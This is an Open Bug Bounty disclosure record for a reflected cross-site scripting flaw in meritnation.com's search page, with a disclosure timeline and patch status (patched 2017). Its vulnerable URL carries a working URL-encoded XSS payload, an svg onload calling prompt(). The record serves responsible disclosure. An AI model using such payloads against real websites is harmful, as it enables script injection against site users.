meritnation.com XSS vulnerability

2016-03-26T23:28:00
ID OBB:143520
Type openbugbounty
Reporter Yadnyawalkya_Tale
Modified 2017-07-27T08:01:00

Description

Vulnerable URL:
http://www.meritnation.com/website-search?term=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E&view;=chapters&curriculumId;=1&gradeId;=0&pageRank;=1
Details:

Description| Value
---|---
Patched:| Yes, at 27.07.2017
Latest check for patch:| 27.07.2017 08:01 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 7328
Google Pagerank| 4
VIP website status:| Yes
Check meritnation.com SSL connection:| (Grade: F)

Coordinated Disclosure Timeline:

Description| Value
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Vulnerability submitted via Open Bug Bounty| 26 March, 2016 23:28 GMT
Generic security notifications sent to website owner| 26 March, 2016 23:30 GMT
Customized security notification sent to website owner| 26 March, 2016 23:30 GMT
Notification sent to subscribers (without technical details)| 27 March, 2016 02:17 GMT
Vulnerability details disclosed by researcher| 21 August, 2016 00:12 GMT
Vulnerability patched by the website owner| 27 July, 2017 08:01 GMT